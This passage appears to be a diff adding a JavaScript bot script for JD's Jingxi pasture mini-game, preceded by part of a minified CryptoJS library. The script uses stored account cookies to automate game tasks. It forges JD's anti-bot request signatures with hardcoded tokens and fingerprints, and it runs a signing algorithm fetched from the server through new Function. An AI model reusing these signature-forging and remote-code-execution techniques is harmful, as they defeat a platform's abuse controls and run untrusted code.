this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('惊喜牧场'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.inviteCodeList = []; +let cookiesArr = []; +$.appId = 10028; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('惊喜牧场\n' + + '更新时间:2021-6-8\n' + + '活动入口:京喜APP-我的-京喜牧场\n' + + '温馨提示:请先手动完成【新手指导任务】再运行脚本') + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await pasture(); + await $.wait(3000); + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function pasture() { + try { + $.homeInfo = {}; + $.petidList = []; + $.crowInfo = {}; + await takeGetRequest('GetHomePageInfo'); + if (JSON.stringify($.homeInfo) === '{}') { + return; + } else { + if (!$.homeInfo.petinfo) { + console.log(`\n温馨提示:${$.UserName} 请先手动完成【新手指导任务】再运行脚本再运行脚本\n`); + return; + } + console.log('获取活动信息成功'); + for (let i = 0; i < $.homeInfo.petinfo.length; i++) { + $.onepetInfo = $.homeInfo.petinfo[i]; + $.petidList.push($.onepetInfo.petid); + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + $.crowInfo = $.homeInfo.cow; + } + + await $.wait(2000); + if ($.crowInfo.lastgettime) { + console.log('收奶牛金币'); + await takeGetRequest('cow'); + await $.wait(2000); + } + $.taskList = []; + $.dateType = ``; + for (let j = 2; j >= 0; j--) { + if (j === 0) { + $.dateType = ``; + } else { + $.dateType = j; + } + await takeGetRequest('GetUserTaskStatusList'); + await $.wait(2000); + await doTask(); + await $.wait(2000); + if (j === 2) { + //割草 + console.log(`\n开始进行割草`); + $.runFlag = true; + for (let i = 0; i < 30 && $.runFlag; i++) { + $.mowingInfo = {}; + console.log(`开始第${i + 1}次割草`); + await takeGetRequest('mowing'); + await $.wait(2000); + if ($.mowingInfo.surprise === true) { + //除草礼盒 + console.log(`领取除草礼盒`); + await takeGetRequest('GetSelfResult'); + await $.wait(5000); + } + } + + //横扫鸡腿 + $.runFlag = true; + console.log(`\n开始进行横扫鸡腿`); + for (let i = 0; i < 30 && $.runFlag; i++) { + console.log(`开始第${i + 1}次横扫鸡腿`); + await takeGetRequest('jump'); + await $.wait(2000); + } + } + } + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + + if (Number($.homeInfo.coins) > 5000) { + let canBuyTimes = Math.floor(Number($.homeInfo.coins) / 5000); + console.log(`\n共有金币${$.homeInfo.coins},可以购买${canBuyTimes}次白菜`); + for (let j = 0; j < canBuyTimes; j++) { + console.log(`第${j + 1}次购买白菜`); + await takeGetRequest('buy'); + await $.wait(2000); + } + await takeGetRequest('GetHomePageInfo'); + await $.wait(2000); + } + let materialinfoList = $.homeInfo.materialinfo; + for (let j = 0; j < materialinfoList.length; j++) { + if (materialinfoList[j].type !== 1) { + continue; + } + if (Number(materialinfoList[j].value) > 10) { + $.canFeedTimes = Math.floor(Number(materialinfoList[j].value) / 10); + console.log(`\n共有白菜${materialinfoList[j].value}颗,每次喂10颗,可以喂${$.canFeedTimes}次`); + $.runFeed = true; + for (let k = 0; k < $.canFeedTimes && $.runFeed && k < 40; k++) { + $.pause = false; + console.log(`开始第${k + 1}次喂白菜`); + await takeGetRequest('feed'); + await $.wait(2000); + if ($.pause) { + await takeGetRequest('GetHomePageInfo'); + await $.wait(1000); + for (let n = 0; n < $.homeInfo.petinfo.length; n++) { + $.onepetInfo = $.homeInfo.petinfo[n]; + if ($.onepetInfo.cangetborn === 1) { + console.log(`开始收鸡蛋`); + await takeGetRequest('GetEgg'); + await $.wait(1000); + } + } + } + } + } + } + } catch (e) { + $.logErr(e) + } +} + +async function doTask() { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.dateType === 1) {//成就任务 + if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } else {//每日任务 + if ($.oneTask.awardStatus === 2 && $.oneTask.taskCaller === 1) {//浏览任务 + if (Number($.oneTask.completedTimes) > 0 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + for (let j = Number($.oneTask.completedTimes); j < Number($.oneTask.configTargetTimes); j++) { + console.log(`去做任务:${$.oneTask.description}`); + await takeGetRequest('DoTask'); + await $.wait(6000); + console.log(`完成任务:${$.oneTask.description}`); + await takeGetRequest('Award'); + } + } else if ($.oneTask.awardStatus === 2 && $.oneTask.completedTimes === $.oneTask.targetTimes) { + console.log(`完成任务:${$.oneTask.taskName}`); + await takeGetRequest('Award'); + await $.wait(2000); + } + } + } +} + +async function takeGetRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'GetHomePageInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + break; + case 'GetUserTaskStatusList': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/GetUserTaskStatusList?_=${Date.now() + 2}&source=jxmc&bizCode=jxmc&dateType=${$.dateType}&_stk=bizCode%2CdateType%2Csource&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`GetUserTaskStatusList`, url); + break; + case 'mowing': //割草 + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&type=2&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`mowing`, url); + break; + case 'GetSelfResult': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&type=14&itemid=undefined&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSelfResult`, url); + break; + case 'jump': + let sar = Math.floor((Math.random() * $.petidList.length)); + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&type=1&petid=${$.petidList[sar]}&_stk=channel%2Cpetid%2Csceneid%2Ctype&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`jump`, url); + break; + case 'DoTask': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/DoTask?_=${Date.now() + 2}&source=jxmc&taskId=${$.oneTask.taskId}&bizCode=jxmc&configExtra=&_stk=bizCode%2CconfigExtra%2Csource%2CtaskId&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}` + `&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`DoTask`, url); + break; + case 'Award': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/Award?_=${Date.now() + 2}&source=jxmc&taskId=${$.oneTask.taskId}&bizCode=jxmc&_stk=bizCode%2Csource%2CtaskId&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}` + `&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`Award`, url); + break; + case 'cow': + url = `https://m.jingxi.com/jxmc/operservice/GetCoin?channel=7&sceneid=1001&token=${A($.crowInfo.lastgettime)}&_stk=channel%2Csceneid%2Ctoken&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'buy': + url = `https://m.jingxi.com/jxmc/operservice/Buy?channel=7&sceneid=1001&type=1&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'feed': + url = `https://m.jingxi.com/jxmc/operservice/Feed?channel=7&sceneid=1001&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'GetEgg': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&type=11&itemid=${$.onepetInfo.petid}&_stk=channel%2Citemid%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetEgg`, url); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + switch (type) { + case 'GetHomePageInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.homeInfo = data.data; + } else { + console.log(`获取活动信息异常:${JSON.stringify(data)}\n`); + } + break; + case 'mowing': + case 'jump': + case 'cow': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.mowingInfo = data.data; + let add = ($.mowingInfo.addcoins || $.mowingInfo.addcoin) ? ($.mowingInfo.addcoins || $.mowingInfo.addcoin) : 0; + console.log(`获得金币:${add}`); + if(Number(add) >0 ){ + $.runFlag = true; + }else{ + $.runFlag = false; + console.log(`未获得金币暂停${type}`); + } + } + break; + case 'GetSelfResult': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`打开除草礼盒成功`); + console.log(JSON.stringify(data)); + } + break; + case 'GetUserTaskStatusList': + data = JSON.parse(data); + if (data.ret === 0) { + $.taskList = data.data.userTaskStatusList; + } + break; + case 'Award': + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`领取金币成功,获得${JSON.parse(data.data.prizeInfo).prizeInfo}`); + } + break; + case 'buy': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`购买成功,当前有白菜:${data.data.newnum}颗`); + } + break; + case 'feed': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`投喂成功`); + } else if (data.ret === 2020) { + console.log(`投喂失败,需要先收取鸡蛋`); + $.pause = true; + } else { + console.log(`投喂失败,${data.message}`); + console.log(JSON.stringify(data)); + $.runFeed = false; + } + break; + case 'GetEgg': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`成功收取${data.data.addnum}个蛋,现有鸡蛋${data.data.newnum}个`); + } + break; + case 'DoTask': + if (data.ret === 0) { + console.log(`执行任务成功`); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getGetRequest(type, url) { + const method = `GET`; + let headers = { + 'Origin': `https://st.jingxi.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json`, + 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, + 'Host': `m.jingxi.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + return {url: url, method: method, headers: headers}; +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": 